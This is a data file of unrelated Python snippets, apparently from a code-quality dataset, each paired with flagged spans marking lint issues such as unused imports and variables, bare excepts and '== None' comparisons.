> n_iter_without_progress:\n break\n if min_grad_norm >= grad_norm:\n break\n if min_error_diff >= error_diff:\n break\n\n inc = update * grad >= 0.0\n dec = np.invert(inc)\n gains[inc] += 0.05\n gains[dec] *= 0.95\n np.clip(gains, min_gain, np.inf)\n grad *= gains\n update = momentum * update - learning_rate * grad\n p += update\n\n return p, error, i", "metadata": "root._gradient_descent", "header": "['module', '___EOS___']", "index": 58 }, { "content": "def make_frame_mpl(t):\n i = int(t * 40)\n x = X_iter[..., i]\n sc.set_offsets(x)\n return mplfig_to_npimage(f)", "metadata": "root.make_frame_mpl", "header": "['module', '___EOS___']", "index": 101 }, { "content": "def _parse_file_argument():\n parser = argparse.ArgumentParser(\"t-SNE commandline tool\")\n parser.add_argument('--csv_file',\n help='input csv filename')\n parser.add_argument('--label',\n help='column name with label')\n args = parser.parse_args()\n return args", "metadata": "root._parse_file_argument", "header": "['module', '___EOS___']", "index": 108 }, { "content": "def _read_input_string(args):\n graph_file = args.graph_file\n graph_string = graph_file.readline().strip('\\n')\n graph_file.close()\n return graph_string", "metadata": "root._read_input_string", "header": "['module', '___EOS___']", "index": 118 } ]

[ { "span": "from numpy.linalg import norm", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 29 }, { "span": "from scipy.spatial.distance import squareform, pdist", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 52 }, { "span": "from sklearn.datasets import load_digits", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 40 }, { "span": "from sklearn.preprocessing import scale", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 39 }, { "span": "from sklearn.metrics.pairwise import pairwise_distances", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 55 }, { "span": "from sklearn.manifold.t_sne import (_joint_probabilities,\n _kl_divergence)", "start_line": 17, "start_column": 0, "end_line": 18, "end_column": 51 }, { "span": "from sklearn.utils.extmath import _ravel", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 40 }, { "span": "import matplotlib.patheffects as PathEffects", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 44 }, { "span": "import matplotlib", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 17 } ]

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[ { "content": "def test_tpl_constant():\n # Define the model dimensions\n nlay = 3\n nrow = 20\n ncol = 20\n\n # Create the flopy model object and add the dis and lpf packages\n m = flopy.modflow.Modflow(modelname='tpl1', model_ws='./temp')\n dis = flopy.modflow.ModflowDis(m, nlay, nrow, ncol)\n lpf = flopy.modflow.ModflowLpf(m, hk=10.)\n\n mfpackage = 'lpf'\n partype = 'hk'\n parname = 'HK_LAYER_1'\n idx = np.empty((nlay, nrow, ncol), dtype=np.bool)\n idx[0] = True\n idx[1:] = False\n\n # The span variable defines how the parameter spans the package\n span = {'idx': idx}\n\n # These parameters have not affect yet, but may in the future\n startvalue = 10.\n lbound = 0.001\n ubound = 1000.\n transform='log'\n\n p = params.Params(mfpackage, partype, parname, startvalue,\n lbound, ubound, span)\n\n tw = tplwriter.TemplateWriter(m, [p])\n tw.write_template()\n\n tplfile = os.path.join('./temp', 'tpl1.lpf.tpl')\n assert os.path.isfile(tplfile)\n\n return", "metadata": "root.test_tpl_constant", "header": "['module', '___EOS___']", "index": 6 }, { "content": "def test_tpl_layered():\n nlay = 3\n nrow = 20\n ncol = 20\n\n # Create the flopy model object and add the dis and lpf packages\n m = flopy.modflow.Modflow(modelname='tpl2', model_ws='./temp')\n dis = flopy.modflow.ModflowDis(m, nlay, nrow, ncol)\n lpf = flopy.modflow.ModflowLpf(m, hk=10.)\n\n mfpackage = 'lpf'\n partype = 'hk'\n parname = 'HK_LAYER_1-3'\n\n # Span indicates that the hk parameter applies as a multiplier to layers 0 and 2 (MODFLOW layers 1 and 3)\n span = {'layers': [0, 2]}\n\n # These parameters have not affect yet, but may in the future\n startvalue = 10.\n lbound = 0.001\n ubound = 1000.\n transform='log'\n\n p = params.Params(mfpackage, partype, parname, startvalue,\n lbound, ubound, span)\n tw = tplwriter.TemplateWriter(m, [p])\n tw.write_template()\n\n tplfile = os.path.join('./temp', 'tpl2.lpf.tpl')\n assert os.path.isfile(tplfile)\n\n return", "metadata": "root.test_tpl_layered", "header": "['module', '___EOS___']", "index": 45 }, { "content": "def test_tpl_zoned():\n nlay = 3\n nrow = 20\n ncol = 20\n\n # Create the flopy model object and add the dis and lpf packages\n m = flopy.modflow.Modflow(modelname='tpl3', model_ws='./temp')\n dis = flopy.modflow.ModflowDis(m, nlay, nrow, ncol)\n lpf = flopy.modflow.ModflowLpf(m, hk=10.)\n\n # Create a zone array\n zonearray = np.ones((nlay, nrow, ncol), dtype=int)\n zonearray[0, 10:, 7:] = 2\n zonearray[0, 15:, 9:] = 3\n zonearray[1] = 4\n\n # Create a list of parameters for HK\n mfpackage = 'lpf'\n parzones = [2, 3, 4]\n parvals = [56.777, 78.999, 99.]\n lbound = 5\n ubound = 500\n transform = 'log'\n plisthk = params.zonearray2params(mfpackage, 'hk', parzones, lbound,\n ubound, parvals, transform, zonearray)\n\n # Create a list of parameters for VKA\n parzones = [1, 2]\n parvals = [0.001, 0.0005]\n zonearray = np.ones((nlay, nrow, ncol), dtype=int)\n zonearray[1] = 2\n plistvk = params.zonearray2params(mfpackage, 'vka', parzones, lbound,\n ubound, parvals, transform, zonearray)\n\n # Combine the HK and VKA parameters together\n plist = plisthk + plistvk\n\n # Write the template file\n tw = tplwriter.TemplateWriter(m, plist)\n tw.write_template()\n\n tplfile = os.path.join('./temp', 'tpl3.lpf.tpl')\n assert os.path.isfile(tplfile)\n\n return", "metadata": "root.test_tpl_zoned", "header": "['module', '___EOS___']", "index": 79 } ]

[ { "span": "dis ", "start_line": 14, "start_column": 4, "end_line": 14, "end_column": 7 }, { "span": "lpf ", "start_line": 15, "start_column": 4, "end_line": 15, "end_column": 7 }, { "span": "transform=", "start_line": 31, "start_column": 4, "end_line": 31, "end_column": 13 }, { "span": "dis ", "start_line": 52, "start_column": 4, "end_line": 52, "end_column": 7 }, { "span": "lpf ", "start_line": 53, "start_column": 4, "end_line": 53, "end_column": 7 }, { "span": "transform=", "start_line": 66, "start_column": 4, "end_line": 66, "end_column": 13 }, { "span": "dis ", "start_line": 86, "start_column": 4, "end_line": 86, "end_column": 7 }, { "span": "lpf ", "start_line": 87, "start_column": 4, "end_line": 87, "end_column": 7 } ]

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[ { "content": " def testGMT(self):\n now = datetime.now(tz=GMT)\n self.assertTrue(now.utcoffset() == NOTIME)\n self.assertTrue(now.dst() == NOTIME)\n self.assertTrue(now.timetuple() == now.utctimetuple())\n self.assertTrue(now==now.replace(tzinfo=UTC))", "metadata": "root.BasicTest.testGMT", "header": "['class', 'BasicTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 74 }, { "content": " def testReferenceUTC(self):\n now = datetime.now(tz=UTC)\n self.assertTrue(now.utcoffset() == NOTIME)\n self.assertTrue(now.dst() == NOTIME)\n self.assertTrue(now.timetuple() == now.utctimetuple())", "metadata": "root.BasicTest.testReferenceUTC", "header": "['class', 'BasicTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 81 }, { "content": " def testUnknownOffsets(self):\n # This tzinfo behavior is required to make\n # datetime.time.{utcoffset, dst, tzname} work as documented.\n\n dst_tz = pytz.timezone('US/Eastern')\n\n # This information is not known when we don't have a date,\n # so return None per API.\n self.assertTrue(dst_tz.utcoffset(None) is None)\n self.assertTrue(dst_tz.dst(None) is None)\n # We don't know the abbreviation, but this is still a valid\n # tzname per the Python documentation.\n self.assertEqual(dst_tz.tzname(None), 'US/Eastern')", "metadata": "root.BasicTest.testUnknownOffsets", "header": "['class', 'BasicTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 87 }, { "content": " def testUnicodeTimezone(self):\n # We need to ensure that cold lookups work for both Unicode\n # and traditional strings, and that the desired singleton is\n # returned.\n self.clearCache()\n eastern = pytz.timezone(unicode('US/Eastern'))\n self.assertTrue(eastern is pytz.timezone('US/Eastern'))\n\n self.clearCache()\n eastern = pytz.timezone('US/Eastern')\n self.assertTrue(eastern is pytz.timezone(unicode('US/Eastern')))", "metadata": "root.BasicTest.testUnicodeTimezone", "header": "['class', 'BasicTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 104 }, { "content": " def testDatabaseFixes(self):\n # Hack the pickle to make it refer to a timezone abbreviation\n # that does not match anything. The unpickler should be able\n # to repair this case\n tz = pytz.timezone('Australia/Melbourne')\n p = pickle.dumps(tz)\n tzname = tz._tzname\n hacked_p = p.replace(_byte_string(tzname),\n _byte_string('?'*len(tzname)))\n self.assertNotEqual(p, hacked_p)\n unpickled_tz = pickle.loads(hacked_p)\n self.assertTrue(tz is unpickled_tz)\n\n # Simulate a database correction. In this case, the incorrect\n # data will continue to be used.\n p = pickle.dumps(tz)\n new_utcoffset = tz._utcoffset.seconds + 42\n\n # Python 3 introduced a new pickle protocol where numbers are stored in\n # hexadecimal representation. Here we extract the pickle\n # representation of the number for the current Python version.\n old_pickle_pattern = pickle.dumps(tz._utcoffset.seconds)[3:-1]\n new_pickle_pattern = pickle.dumps(new_utcoffset)[3:-1]\n hacked_p = p.replace(old_pickle_pattern, new_pickle_pattern)\n\n self.assertNotEqual(p, hacked_p)\n unpickled_tz = pickle.loads(hacked_p)\n self.assertEqual(unpickled_tz._utcoffset.seconds, new_utcoffset)\n self.assertTrue(tz is not unpickled_tz)", "metadata": "root.PicklingTest.testDatabaseFixes", "header": "['class', 'PicklingTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 148 }, { "content": " def testOldPickles(self):\n # Ensure that applications serializing pytz instances as pickles\n # have no troubles upgrading to a new pytz release. These pickles\n # where created with pytz2006j\n east1 = pickle.loads(_byte_string(\n \"cpytz\\n_p\\np1\\n(S'US/Eastern'\\np2\\nI-18000\\n\"\n \"I0\\nS'EST'\\np3\\ntRp4\\n.\"\n ))\n east2 = pytz.timezone('US/Eastern').localize(\n datetime(2006, 1, 1)).tzinfo\n self.assertTrue(east1 is east2)\n\n # Confirm changes in name munging between 2006j and 2007c cause\n # no problems.\n pap1 = pickle.loads(_byte_string(\n \"cpytz\\n_p\\np1\\n(S'America/Port_minus_au_minus_Prince'\"\n \"\\np2\\nI-17340\\nI0\\nS'PPMT'\\np3\\ntRp4\\n.\"))\n pap2 = pytz.timezone('America/Port-au-Prince').localize(\n datetime(1910, 1, 1)).tzinfo\n self.assertTrue(pap1 is pap2)\n\n gmt1 = pickle.loads(_byte_string(\n \"cpytz\\n_p\\np1\\n(S'Etc/GMT_plus_10'\\np2\\ntRp3\\n.\"))\n gmt2 = pytz.timezone('Etc/GMT+10')\n self.assertTrue(gmt1 is gmt2)", "metadata": "root.PicklingTest.testOldPickles", "header": "['class', 'PicklingTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 178 }, { "content": " def test_bratislava(self):\n # Bratislava is the default timezone for Slovakia, but our\n # heuristics where not adding it to common_timezones. Ideally,\n # common_timezones should be populated from zone.tab at runtime,\n # but I'm hesitant to pay the startup cost as loading the list\n # on demand whilst remaining backwards compatible seems\n # difficult.\n self.assertTrue('Europe/Bratislava' in pytz.common_timezones)\n self.assertTrue('Europe/Bratislava' in pytz.common_timezones_set)", "metadata": "root.CommonTimezonesTestCase.test_bratislava", "header": "['class', 'CommonTimezonesTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 725 }, { "content": " def test_us_eastern(self):\n self.assertTrue('US/Eastern' in pytz.common_timezones)\n self.assertTrue('US/Eastern' in pytz.common_timezones_set)", "metadata": "root.CommonTimezonesTestCase.test_us_eastern", "header": "['class', 'CommonTimezonesTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 735 }, { "content": " def test_belfast(self):\n # Belfast uses London time.\n self.assertTrue('Europe/Belfast' in pytz.all_timezones_set)\n self.assertFalse('Europe/Belfast' in pytz.common_timezones)\n self.assertFalse('Europe/Belfast' in pytz.common_timezones_set)", "metadata": "root.CommonTimezonesTestCase.test_belfast", "header": "['class', 'CommonTimezonesTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 739 }, { "content": " def test_fromutc(self):\n # naive datetime.\n dt1 = datetime(2011, 10, 31)\n\n # localized datetime, same timezone.\n dt2 = self.tz.localize(dt1)\n\n # Both should give the same results. Note that the standard\n # Python tzinfo.fromutc() only supports the second.\n for dt in [dt1, dt2]:\n loc_dt = self.tz.fromutc(dt)\n loc_dt2 = pytz.utc.localize(dt1).astimezone(self.tz)\n self.assertEqual(loc_dt, loc_dt2)\n\n # localized datetime, different timezone.\n new_tz = pytz.timezone('Europe/Paris')\n self.assertTrue(self.tz is not new_tz)\n dt3 = new_tz.localize(dt1)\n self.assertRaises(ValueError, self.tz.fromutc, dt3)", "metadata": "root.BaseTzInfoTestCase.test_fromutc", "header": "['class', 'BaseTzInfoTestCase', ':', '___EOS___']", "index": 757 }, { "content": " def test_normalize(self):\n other_tz = pytz.timezone('Europe/Paris')\n self.assertTrue(self.tz is not other_tz)\n\n dt = datetime(2012, 3, 26, 12, 0)\n other_dt = other_tz.localize(dt)\n\n local_dt = self.tz.normalize(other_dt)\n\n self.assertTrue(local_dt.tzinfo is not other_dt.tzinfo)\n self.assertNotEqual(\n local_dt.replace(tzinfo=None), other_dt.replace(tzinfo=None))", "metadata": "root.BaseTzInfoTestCase.test_normalize", "header": "['class', 'BaseTzInfoTestCase', ':', '___EOS___']", "index": 777 }, { "content": " def test_astimezone(self):\n other_tz = pytz.timezone('Europe/Paris')\n self.assertTrue(self.tz is not other_tz)\n\n dt = datetime(2012, 3, 26, 12, 0)\n other_dt = other_tz.localize(dt)\n\n local_dt = other_dt.astimezone(self.tz)\n\n self.assertTrue(local_dt.tzinfo is not other_dt.tzinfo)\n self.assertNotEqual(\n local_dt.replace(tzinfo=None), other_dt.replace(tzinfo=None))", "metadata": "root.BaseTzInfoTestCase.test_astimezone", "header": "['class', 'BaseTzInfoTestCase', ':', '___EOS___']", "index": 790 } ]

[ { "span": "self.assertTrue(now.utcoffset() == NOTIME)", "start_line": 76, "start_column": 8, "end_line": 76, "end_column": 50 }, { "span": "self.assertTrue(now.dst() == NOTIME)", "start_line": 77, "start_column": 8, "end_line": 77, "end_column": 44 }, { "span": "self.assertTrue(now.timetuple() == now.utctimetuple())", "start_line": 78, "start_column": 8, "end_line": 78, "end_column": 62 }, { "span": "self.assertTrue(now==now.replace(tzinfo=UTC))", "start_line": 79, "start_column": 8, "end_line": 79, "end_column": 53 }, { "span": "self.assertTrue(now.utcoffset() == NOTIME)", "start_line": 83, "start_column": 8, "end_line": 83, "end_column": 50 }, { "span": "self.assertTrue(now.dst() == NOTIME)", "start_line": 84, "start_column": 8, "end_line": 84, "end_column": 44 }, { "span": "self.assertTrue(now.timetuple() == now.utctimetuple())", "start_line": 85, "start_column": 8, "end_line": 85, "end_column": 62 }, { "span": "self.assertTrue(dst_tz.utcoffset(None) is None)", "start_line": 95, "start_column": 8, "end_line": 95, "end_column": 55 }, { "span": "self.assertTrue(dst_tz.dst(None) is None)", "start_line": 96, "start_column": 8, "end_line": 96, "end_column": 49 }, { "span": "self.assertTrue(eastern is pytz.timezone('US/Eastern'))", "start_line": 110, "start_column": 8, "end_line": 110, "end_column": 63 }, { "span": "self.assertTrue(eastern is pytz.timezone(unicode('US/Eastern')))", "start_line": 114, "start_column": 8, "end_line": 114, "end_column": 72 }, { "span": "self.assertTrue(tz is unpickled_tz)", "start_line": 159, "start_column": 8, "end_line": 159, "end_column": 43 }, { "span": "self.assertTrue(tz is not unpickled_tz)", "start_line": 176, "start_column": 8, "end_line": 176, "end_column": 47 }, { "span": "self.assertTrue(east1 is east2)", "start_line": 188, "start_column": 8, "end_line": 188, "end_column": 39 }, { "span": "self.assertTrue(pap1 is pap2)", "start_line": 197, "start_column": 8, "end_line": 197, "end_column": 37 }, { "span": "self.assertTrue(gmt1 is gmt2)", "start_line": 202, "start_column": 8, "end_line": 202, "end_column": 37 }, { "span": "self.assertTrue('Europe/Bratislava' in pytz.common_timezones)", "start_line": 732, "start_column": 8, "end_line": 732, "end_column": 69 }, { "span": "self.assertTrue('Europe/Bratislava' in pytz.common_timezones_set)", "start_line": 733, "start_column": 8, "end_line": 733, "end_column": 73 }, { "span": "self.assertTrue('US/Eastern' in pytz.common_timezones)", "start_line": 736, "start_column": 8, "end_line": 736, "end_column": 62 }, { "span": "self.assertTrue('US/Eastern' in pytz.common_timezones_set)", "start_line": 737, "start_column": 8, "end_line": 737, "end_column": 66 }, { "span": "self.assertTrue('Europe/Belfast' in pytz.all_timezones_set)", "start_line": 741, "start_column": 8, "end_line": 741, "end_column": 67 }, { "span": "self.assertFalse('Europe/Belfast' in pytz.common_timezones)", "start_line": 742, "start_column": 8, "end_line": 742, "end_column": 67 }, { "span": "self.assertFalse('Europe/Belfast' in pytz.common_timezones_set)", "start_line": 743, "start_column": 8, "end_line": 743, "end_column": 71 }, { "span": "self.assertTrue(self.tz is not new_tz)", "start_line": 773, "start_column": 8, "end_line": 773, "end_column": 46 }, { "span": "self.assertTrue(self.tz is not other_tz)", "start_line": 779, "start_column": 8, "end_line": 779, "end_column": 48 }, { "span": "self.assertTrue(local_dt.tzinfo is not other_dt.tzinfo)", "start_line": 786, "start_column": 8, "end_line": 786, "end_column": 63 }, { "span": "self.assertTrue(self.tz is not other_tz)", "start_line": 792, "start_column": 8, "end_line": 792, "end_column": 48 }, { "span": "self.assertTrue(local_dt.tzinfo is not other_dt.tzinfo)", "start_line": 799, "start_column": 8, "end_line": 799, "end_column": 63 } ]

[]

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[ { "content": "#!/usr/bin/env python\n'''\nUse this in the same way as Python's SimpleHTTPServer:\n\n ./ssi_server.py [port]\n\nThe only difference is that, for files ending in '.html', ssi_server will\ninline SSI (Server Side Includes) of the form:\n\n <!-- #include virtual=\"fragment.html\" -->\n\nRun ./ssi_server.py in this directory and visit localhost:8000 for an exmaple.\n'''\n\nimport os\nimport ssi\ntry:\n # This works for Python 2\n from SimpleHTTPServer import SimpleHTTPRequestHandler\n import SimpleHTTPServer\nexcept ImportError:\n # This works for Python 3\n from http.server import SimpleHTTPRequestHandler\n import http.server as SimpleHTTPServer\nimport tempfile\n\n\n\n\nif __name__ == '__main__':\n SimpleHTTPServer.test(HandlerClass=SSIRequestHandler)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]

[ { "span": "import http.server as SimpleHTTPServer", "start_line": 23, "start_column": 4, "end_line": 23, "end_column": 42 } ]

[]

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[ { "content": "import pandas as pd\nfrom db import DemoDB, DB, list_profiles, remove_profile\nimport unittest\n\n\n\nif __name__ == \"__main__\":\n unittest.main()\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class PandaSQLTest(unittest.TestCase):\n\n\n \n\n\n \n\n\n\n\n\n\n\n\n\n\n\n \n", "metadata": "root.PandaSQLTest", "header": "['module', '___EOS___']", "index": 5 }, { "content": " def setUp(self):\n self.db = DemoDB()", "metadata": "root.PandaSQLTest.setUp", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 7 }, { "content": " def test_query_rowsum(self):\n df = self.db.query(\"select * from Artist;\")\n self.assertEqual(len(df), 275)", "metadata": "root.PandaSQLTest.test_query_rowsum", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 10 }, { "content": " def test_query_groupby(self):\n q = \"select AlbumId, sum(1) from Track group by 1\"\n df = self.db.query(q)\n self.assertEqual(len(df), 347)", "metadata": "root.PandaSQLTest.test_query_groupby", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 14 }, { "content": " def test_query_from_file_rowsum(self):\n with open(\"db/tests/testscript.sql\", \"w\") as f:\n f.write(\"select * from Artist;\")\n df = self.db.query_from_file(\"db/tests/testscript.sql\")\n self.assertEqual(len(df), 275)", "metadata": "root.PandaSQLTest.test_query_from_file_rowsum", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 19 }, { "content": " def test_add_profile(self):\n profiles = list_profiles()\n self.db.save_credentials(profile=\"test_profile\")\n self.assertEqual(len(profiles)+1, len(list_profiles()))\n remove_profile(\"test_profile\")", "metadata": "root.PandaSQLTest.test_add_profile", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 25 }, { "content": " def test_remove_profile(self):\n profiles = list_profiles()\n self.db.save_credentials(profile=\"test_profile\")\n self.assertEqual(len(profiles)+1, len(list_profiles()))\n remove_profile(\"test_profile\")", "metadata": "root.PandaSQLTest.test_remove_profile", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 31 }, { "content": " def test_list_profiles(self):\n self.db.save_credentials(profile=\"test_profile\")\n self.assertTrue(len(list_profiles()) > 0)\n remove_profile(\"test_profile\")", "metadata": "root.PandaSQLTest.test_list_profiles", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 37 }, { "content": " def test_table_head(self):\n self.assertEqual(len(self.db.tables.Artist.head()), 6)", "metadata": "root.PandaSQLTest.test_table_head", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 42 }, { "content": " def test_table_all(self):\n self.assertEqual(len(self.db.tables.Artist.all()), 275)", "metadata": "root.PandaSQLTest.test_table_all", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 45 }, { "content": " def test_table_select(self):\n df = self.db.tables.Artist.select(\"ArtistId\", \"Name\")\n self.assertEqual(df.shape, (275, 2))", "metadata": "root.PandaSQLTest.test_table_select", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 48 }, { "content": " def test_table_sample(self):\n df = self.db.tables.Artist.sample(n=10)\n self.assertEqual(len(df), 10)", "metadata": "root.PandaSQLTest.test_table_sample", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 52 }, { "content": " def test_table_uniqe(self):\n df = self.db.tables.Track.unique(\"GenreId\", \"MediaTypeId\")\n self.assertEqual(len(df), 38)", "metadata": "root.PandaSQLTest.test_table_uniqe", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 56 }, { "content": " def test_column_head(self):\n col = self.db.tables.Track.TrackId.head()\n self.assertEqual(len(col), 6)", "metadata": "root.PandaSQLTest.test_column_head", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 60 }, { "content": " def test_column_all(self):\n col = self.db.tables.Track.TrackId.all()\n self.assertEqual(len(col), 3503)", "metadata": "root.PandaSQLTest.test_column_all", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 64 }, { "content": " def test_column_sample(self):\n col = self.db.tables.Track.TrackId.sample(n=10)\n self.assertEqual(len(col), 10)", "metadata": "root.PandaSQLTest.test_column_sample", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 68 }, { "content": " def test_column_unique(self):\n col = self.db.tables.Customer.Country.unique()\n self.assertEqual(len(col), 24)", "metadata": "root.PandaSQLTest.test_column_unique", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 72 }, { "content": " def test_table_keys_per_column(self):\n short_db = DemoDB(keys_per_column=1)\n self.assertEqual(\"\"\"+----------------------------------------------------------------------------------------+\n| Track |\n+--------------+---------------+-----------------------+---------------------------------+\n| Column | Type | Foreign Keys | Reference Keys |\n+--------------+---------------+-----------------------+---------------------------------+\n| TrackId | INTEGER | | InvoiceLine.TrackId, (+ 1 more) |\n| Name | NVARCHAR(200) | | |\n| AlbumId | INTEGER | Album.AlbumId | |\n| MediaTypeId | INTEGER | MediaType.MediaTypeId | |\n| GenreId | INTEGER | Genre.GenreId | |\n| Composer | NVARCHAR(220) | | |\n| Milliseconds | INTEGER | | |\n| Bytes | INTEGER | | |\n| UnitPrice | NUMERIC(10,2) | | |\n+--------------+---------------+-----------------------+---------------------------------+\"\"\".strip(),\n '{0}'.format(short_db.tables.Track.__repr__()).strip())", "metadata": "root.PandaSQLTest.test_table_keys_per_column", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 76 }, { "content": " def tearDown(self):\n pass", "metadata": "root.PandaSQLTest.tearDown", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 95 }, { "content": " def test_table_count_rows(self):\n count = self.db.tables.Invoice.count\n self.assertEqual(count, 412)", "metadata": "root.PandaSQLTest.test_table_count_rows", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 98 } ]

[ { "span": "import pandas as pd", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 19 }, { "span": "from db import DemoDB, DB, list_profiles, remove_profile", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 56 } ]

[]

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[ { "content": " def __init__(self, w_ini, h_ini, color4):\n super(ProbeRect,self).__init__()\n self.color4 = color4\n w2 = int(w_ini//2)\n h2 = int(h_ini//2)\n self.vertexes = [(0,0,0),(0,h_ini,0), (w_ini,h_ini,0),(w_ini,0,0)]", "metadata": "root.ProbeRect.__init__", "header": "['class', 'ProbeRect', '(', 'cocos', '.', 'cocosnode', '.', 'CocosNode', ')', ':', '___EOS___']", "index": 21 } ]

[ { "span": "w2 ", "start_line": 24, "start_column": 8, "end_line": 24, "end_column": 10 }, { "span": "h2 ", "start_line": 25, "start_column": 8, "end_line": 25, "end_column": 10 } ]

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[ { "content": " @staticmethod\n def InsetBy(r, delta):\n if delta is None:\n return r\n try:\n delta[0] # is it indexable?\n return RectUtils.InsetRect(r, delta)\n except:\n return RectUtils.InsetRect(r, (delta, delta, delta, delta))", "metadata": "root.RectUtils.InsetBy", "header": "['class', 'RectUtils', ':', '___EOS___']", "index": 2701 } ]

[ { "span": "except:", "start_line": 2708, "start_column": 8, "end_line": 2708, "end_column": 15 } ]

[]

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[ { "content": "\tdef placeBlock(self, payload):\n\t\tif payload[\"item\"] == None: return\n\t\tplayer = payload[\"player\"]\n\t\tx, y, z = payload[\"position\"]\n\t\tuuid = player.uuid\n\t\tif player.name in self.toggled:\n\t\t\tactions = self.lookupBlock(x, y, z)\n\t\t\tfound = False\n\t\t\tfor action in actions:\n\t\t\t\tself.displayEntry(player, action)\n\t\t\tif len(actions) < 1:\n\t\t\t\tplayer.message({\"text\": \"Could not find any actions in the specified area.\", \"color\": \"red\"})\n\t\t\telse:\n\t\t\t\tplayer.message({\"text\": \"End of list.\", \"color\": \"red\", \"bold\": True})\n\t\t\treturn False\n\t\telse:\n\t\t\tif payload[\"item\"][\"id\"] < 255:\n\t\t\t\tself.logger.place_block(uuid, x, y, z, payload[\"item\"][\"id\"], payload[\"item\"][\"damage\"])", "metadata": "root.Main.placeBlock", "header": "['class', 'Main', ':', '___EOS___']", "index": 52 }, { "content": "\tdef displayEntry(self, player, action):\n\t\tj = []\n\t\ttimestamp = datetime.datetime.fromtimestamp(int(action[1])).strftime('%Y-%m-%d %H:%M:%S')\n\t\tuuid, type, payload = action[0], action[2], action[3]\n\t\tplayerName = self.minecraft.lookupUUID(uuid)[\"name\"]\n\t\tif playerName == None: playerName == uuid\n\t\tj.append({\"text\": \"[%s] \" % timestamp, \"color\": \"gray\"})\n\t\tj.append({\"text\": playerName + \" \", \"color\": \"dark_aqua\", \"hoverEvent\": {\"action\":\"show_text\", \"value\":uuid}})\n\t\tif type in (\"place_block\", \"dig_block\"):\n\t\t\tif type == \"place_block\": \n\t\t\t\tj.append({\"text\": \"placed \"})\n\t\t\telif type == \"dig_block\": \n\t\t\t\tj.append({\"text\": \"broke \"})\n\t\t\titem = json.dumps({\"id\":payload[\"block\"],\"Damage\":0,\"Count\":1,\"tag\":{}}).replace('\"', \"\")\n\t\t\tj.append({\"text\": payload[\"block\"], \"color\": \"dark_red\", \"hoverEvent\": {\"action\":\"show_item\", \"value\": item}})\n\t\tplayer.message({\"text\":\"\",\"extra\":j})", "metadata": "root.Main.displayEntry", "header": "['class', 'Main', ':', '___EOS___']", "index": 121 } ]

[ { "span": "payload[\"item\"] == None:", "start_line": 53, "start_column": 5, "end_line": 53, "end_column": 28 }, { "span": "playerName == None:", "start_line": 126, "start_column": 5, "end_line": 126, "end_column": 23 } ]

[]

